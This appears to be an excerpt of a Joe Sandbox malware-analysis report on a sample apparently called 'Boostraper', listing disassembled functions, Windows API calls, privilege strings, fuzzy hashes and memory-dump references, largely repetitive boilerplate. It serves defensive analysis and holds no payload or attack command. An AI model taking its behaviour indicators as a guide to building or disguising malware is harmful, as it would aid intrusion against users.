Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: RENAMEDLG
API String ID: 445417207-3299779563
Opcode ID: 44b9bcc777861edb06fd5f08a9289462e6311a3315085fe72d4325d1b989aada
Instruction ID: 9c912c0cffe021dfc66c800b71d0f5d6eabf11b7da00457948762873ea175ed7
Opcode Fuzzy Hash: 44b9bcc777861edb06fd5f08a9289462e6311a3315085fe72d4325d1b989aada
Instruction Fuzzy Hash: 530128323C52107ED5226F649C08F577B6CEB5AB42F10C416F345A20E1C6BE59068779

Function 00792503 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBVCRUNTIME ref: 0079251A

Part of subcall function 00792B52: ___AdjustPointer.LIBCMT ref: 00792B9C

_UnwindNestedFrames.LIBCMT ref: 00792531
___FrameUnwindToState.LIBVCRUNTIME ref: 00792543
CallCatchBlock.LIBVCRUNTIME ref: 00792567

Strings

/)y, xrefs: 00792526, 00792517

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: CatchUnwind$AdjustBlockBuildCallFrameFramesNestedObjectPointerState
String ID: /)y
API String ID: 2633735394-2714734268
Opcode ID: 8ab29acd33a3066b3f23f97a448595ce03f4b23344991831e99f7cf6ac797a0c
Instruction ID: 831a3dadde2f7d5b0ba0a9572d2b7c82abd3d61c462c977c02b5a1ee506a6b26
Opcode Fuzzy Hash: 8ab29acd33a3066b3f23f97a448595ce03f4b23344991831e99f7cf6ac797a0c
Instruction Fuzzy Hash: 72011732000108FBCF12AF65EC05EDA3FBAEF58710F058054F918A6121C33AE972EBA1

Function 007975C2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00797573,00000000,?,00797513,00000000,007ABAD8,0000000C,0079766A,00000000,00000002), ref: 007975E2
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 007975F5
FreeLibrary.KERNEL32(00000000,?,?,?,00797573,00000000,?,00797513,00000000,007ABAD8,0000000C,0079766A,00000000,00000002), ref: 00797618

Strings

mscoree.dll, xrefs: 007975DB
CorExitProcess, xrefs: 007975ED

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: f3a987e14d091fcdfaee9465780ec9d8e7537e829988256be1df6919c91b82ae
Instruction ID: 3ef4a13f2572fb2fe23ce72fcb89e08eb0514aaab679df2479b13b2757f05ef5
Opcode Fuzzy Hash: f3a987e14d091fcdfaee9465780ec9d8e7537e829988256be1df6919c91b82ae
Instruction Fuzzy Hash: 24F0C231A1860CBFCB159FA4DC09B9EBFB9EF85712F008168F805A2150DF388E40CB98

Function 0077EB73 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00780085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 007800A0
Part of subcall function 00780085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0077EB86,Crypt32.dll,00000000,0077EC0A,?,?,0077EBEC,?,?,?), ref: 007800C2

GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 0077EB92
GetProcAddress.KERNEL32(007B81C0,CryptUnprotectMemory), ref: 0077EBA2

Strings

CryptProtectMemory, xrefs: 0077EB8C
Crypt32.dll, xrefs: 0077EB7C
CryptUnprotectMemory, xrefs: 0077EB98

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: AddressProc$DirectoryLibraryLoadSystem
String ID: Crypt32.dll$CryptProtectMemory$CryptUnprotectMemory
API String ID: 2141747552-1753850145
Opcode ID: 7d3b60798ef0452081b392aeb6e5cb559ed8430e749ae4b857639336bc17101d
Instruction ID: fad06c95e2c287f9e01cccc106713da695f6d99128887089d0834e08405a47b8
Opcode Fuzzy Hash: 7d3b60798ef0452081b392aeb6e5cb559ed8430e749ae4b857639336bc17101d
Instruction Fuzzy Hash: 7EE04FB14407419ECB219F349809B43BEE49B5A705B00C85DF4DAD3150D6BCE5448B50

Function 00797DD9 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00797E4B
_free.LIBCMT ref: 00797E6B

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 6efe0a142c9b922765a175d4ece3c97c4fec8b307404d2b07edbf2c62a4adca9
Instruction ID: b5ba52dd8a8802d997a2ff11ead4dbdb6ce70e4418e48be135778d147fa5e7f2
Opcode Fuzzy Hash: 6efe0a142c9b922765a175d4ece3c97c4fec8b307404d2b07edbf2c62a4adca9
Instruction Fuzzy Hash: BC41C132A10304DBDF28DF78D885A5EB7B6EF85714B1545A8E515EB241DB35ED01CB80

Function 0079B610 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0079B619
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0079B63C

Part of subcall function 00798518: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0079C13D,00000000,?,007967E2,?,00000008,?,007989AD,?,?,?), ref: 0079854A

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0079B662
_free.LIBCMT ref: 0079B675
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0079B684

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocateFreeHeap_free
String ID:
API String ID: 336800556-0
Opcode ID: 48b623670c6d20ce844ebfba52ce0c8ff1d310a1ddda09ee8f14f4841477be70
Instruction ID: d4f635e9fd364c04c6f74f4cff84dad9bcf7bf77bdd2dbcba2a1024269053095
Opcode Fuzzy Hash: 48b623670c6d20ce844ebfba52ce0c8ff1d310a1ddda09ee8f14f4841477be70
Instruction Fuzzy Hash: 8F018472602715BF6B215ABA7D8CC7B6A6DEFC7BA03154229B904C3250DF68DD0191B4

Function 0078075B Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

Part of subcall function 00780A41: ResetEvent.KERNEL32(?), ref: 00780A53
Part of subcall function 00780A41: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 00780A67

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 0078078F
CloseHandle.KERNEL32(?,?), ref: 007807A9
DeleteCriticalSection.KERNEL32(?), ref: 007807C2
CloseHandle.KERNEL32(?), ref: 007807CE
CloseHandle.KERNEL32(?), ref: 007807DA

Part of subcall function 0078084E: WaitForSingleObject.KERNEL32(?,000000FF,00780A78,?), ref: 00780854
Part of subcall function 0078084E: GetLastError.KERNEL32(?), ref: 00780860

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 15b6bc9629d3325de2e4048123cf4830d535ebde0a0da8fcbc3423e5ea14d9f2
Instruction ID: 9a8816482a29ce93a8b50296a96a3f0adc23d8bd844e7185b479a5fb6e4075a1
Opcode Fuzzy Hash: 15b6bc9629d3325de2e4048123cf4830d535ebde0a0da8fcbc3423e5ea14d9f2
Instruction Fuzzy Hash: D101B571440B04EFCB21AF65DC84FC7FBEAFB8A710F004519F15A42160DB796A48CB94

Function 0079BF10 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0079BF28

Part of subcall function 007984DE: RtlFreeHeap.NTDLL(00000000,00000000,?,0079BFA7,007A3958,00000000,007A3958,00000000,?,0079BFCE,007A3958,00000007,007A3958,?,0079C3CB,007A3958), ref: 007984F4
Part of subcall function 007984DE: GetLastError.KERNEL32(007A3958,?,0079BFA7,007A3958,00000000,007A3958,00000000,?,0079BFCE,007A3958,00000007,007A3958,?,0079C3CB,007A3958,007A3958), ref: 00798506

_free.LIBCMT ref: 0079BF3A
_free.LIBCMT ref: 0079BF4C
_free.LIBCMT ref: 0079BF5E
_free.LIBCMT ref: 0079BF70

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 128ddff7b1a54a6683bdc0275443dd698c692df3ceba5298744c07332c1cbf42
Instruction ID: cb2cf4f1e2249978930bc883820a6baa73d0393f5a17fc58915e5e6c5e61d623
Opcode Fuzzy Hash: 128ddff7b1a54a6683bdc0275443dd698c692df3ceba5298744c07332c1cbf42
Instruction Fuzzy Hash: 53F0FF32604645E78EA0EF64FECAD1677DABF457107658819F008D7920CB2CFC808B65

Function 0078AC74 Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 0078AC85
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0078AC96
IsDialogMessageW.USER32(00010456,?), ref: 0078ACAA
TranslateMessage.USER32(?), ref: 0078ACB8
DispatchMessageW.USER32(?), ref: 0078ACC2

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Message$DialogDispatchPeekTranslate
String ID:
API String ID: 1266772231-0
Opcode ID: 50b2ffadacae74c39be821e2ead8e1dfff64bd1228c4b142ff3e609c77652df0
Instruction ID: 449ffe4966b772ea7c50d08bf131798631ce9b6112192e3c3e641a2e0a93a0d6
Opcode Fuzzy Hash: 50b2ffadacae74c39be821e2ead8e1dfff64bd1228c4b142ff3e609c77652df0
Instruction Fuzzy Hash: DEF01D71902229BB9B20ABE29C4CEEB7F7CEE152517448516F805D2101EA2CD407C7B5

Function 007976BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\Boostraper.bat,00000104), ref: 007976FD
_free.LIBCMT ref: 007977C8
_free.LIBCMT ref: 007977D2

Strings

C:\Users\user\AppData\Local\Temp\Boostraper.bat, xrefs: 007976F4, 007976FB, 0079772A, 00797762

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\Boostraper.bat
API String ID: 2506810119-3688853006
Opcode ID: dfd7d181c0a11f38a31972b7ac94bc5918a16eb84777d0c02eb5bea804e7e7c3
Instruction ID: b5a31fcfe7ae94b6b00ab8d6806260c0e3d0f15e2037488f0148ef6265e3734c
Opcode Fuzzy Hash: dfd7d181c0a11f38a31972b7ac94bc5918a16eb84777d0c02eb5bea804e7e7c3
Instruction Fuzzy Hash: 87319C71A15208FFDF25DFD9EC8599EBBFCEF85310B148066E80497211DA789A40CBA1

Function 00777574 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00777579

Part of subcall function 00773B3D: __EH_prolog.LIBCMT ref: 00773B42

GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 00777640

Part of subcall function 00777BF5: GetCurrentProcess.KERNEL32(00000020,?), ref: 00777C04
Part of subcall function 00777BF5: GetLastError.KERNEL32 ref: 00777C4A
Part of subcall function 00777BF5: CloseHandle.KERNEL32(?), ref: 00777C59

Strings

SeRestorePrivilege, xrefs: 007775D3
SeSecurityPrivilege, xrefs: 007775BE

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 2dada21d799f463ced6430f03e7748daf4a1a4aee2bdfa48853e24c3e89f83f5
Instruction ID: 07fb07dea25bc9b21c763d7891edd0a835d2ee40641ec608e2ff3175a8f94f86
Opcode Fuzzy Hash: 2dada21d799f463ced6430f03e7748daf4a1a4aee2bdfa48853e24c3e89f83f5
Instruction Fuzzy Hash: 0D31B071A04248AEDF24EB689C49BEE7B79AF55384F008155F448E7152CB7C8A44C7A1

Function 0078A430 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 0077130B: GetDlgItem.USER32(00000000,00003021), ref: 0077134F
Part of subcall function 0077130B: SetWindowTextW.USER32(00000000,007A35B4), ref: 00771365

EndDialog.USER32(?,00000001), ref: 0078A4B8
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 0078A4CD
SetDlgItemTextW.USER32(?,00000066,?), ref: 0078A4E2

Strings

ASKNEXTVOL, xrefs: 0078A448

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: ecd134614fd0a2237371159e1a30d1010c1c6471e360ee51452eb7deab0bb0a2
Instruction ID: cecccc8fe8079da71b9708dbd24599157bc50e5d70fd3f11b785592eec3dadb1
Opcode Fuzzy Hash: ecd134614fd0a2237371159e1a30d1010c1c6471e360ee51452eb7deab0bb0a2
Instruction Fuzzy Hash: 9511D632281240BFEE21AFAC9C4DF6A3B79EB56340F108003F209970A1C7AE5912D776

Function 0077D1C3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 0077D22E
_strncpy.LIBCMT ref: 0077D278

Strings

@%s, xrefs: 0077D218
$%s, xrefs: 0077D223

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: __fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 1857242416-834177443
Opcode ID: 9e0e654060ae845b0bfd449da3f7d2e4942ecc6fbfd544857bbe2953ac2cc660
Instruction ID: b85e3750035a7551b1fb6a7dd32f0cd2acb91b815832610c70580168a50554c0
Opcode Fuzzy Hash: 9e0e654060ae845b0bfd449da3f7d2e4942ecc6fbfd544857bbe2953ac2cc660
Instruction Fuzzy Hash: 8C21817254020CEADF31DEA4DC0AFEE7BB8BF05340F048512FA1896192E779EE559B51

Function 0077B4F7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0077B51E

Part of subcall function 0077400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0077401D

_wcschr.LIBVCRUNTIME ref: 0077B53C
_wcschr.LIBVCRUNTIME ref: 0077B54C

Strings

%c:\, xrefs: 0077B514

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: f77ba5c50e8f6f0a321ab779250e547024f3e90e8abc2a13b5bbaf6cd2e44b6f
Instruction ID: 632ecf0ed08428f03fdd2da2e2794b93b4e3e01985a4208271b044eb4d5f7d18
Opcode Fuzzy Hash: f77ba5c50e8f6f0a321ab779250e547024f3e90e8abc2a13b5bbaf6cd2e44b6f
Instruction Fuzzy Hash: 1101F953A04311FACF206B75AC8AE6BB7ACDE953E0751C416F849C6081FB38D970C2B1

Function 007806BA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,0077ABC5,00000008,?,00000000,?,0077CB88,?,00000000), ref: 007806F3
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,0077ABC5,00000008,?,00000000,?,0077CB88,?,00000000), ref: 007806FD
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,0077ABC5,00000008,?,00000000,?,0077CB88,?,00000000), ref: 0078070D

Strings

Thread pool initialization failed., xrefs: 00780725

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 513bfa171c63dbf9a6c4bb5a46ed466b5d265538d27127657f7cf1b9b4096156
Instruction ID: b39d2f5373301b3c9496b480de200527d5489f63f212be4f4c76931239215f18
Opcode Fuzzy Hash: 513bfa171c63dbf9a6c4bb5a46ed466b5d265538d27127657f7cf1b9b4096156
Instruction Fuzzy Hash: 9111C6B1640708AFC3316F75CC88AA7FBECFB95754F10482EF1DA82200D6B56980CBA4

Function 0078D38B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 0078D3C9, 0078D3FD
RENAMEDLG, xrefs: 0078D3DE

Memory Dump Source

Source File: 00000004.00000002.1372415838.0000000000771000.00000020.00000001.01000000.00000008.sdmp, Offset: 00770000, based on PE: true

Associated: 00000004.00000002.1372401009.0000000000770000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007AE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372469063.00000000007D1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1372524342.00000000007D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_770000_Boostraper.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 97c61870910e9a459f5511f37382f056c8c1ba16949a0d4f5cb4955ec07d9008
Instruction ID: f06b79de87771afce77725f6ce1c6b63d4890e4eafcbe49686da51adef7dd168
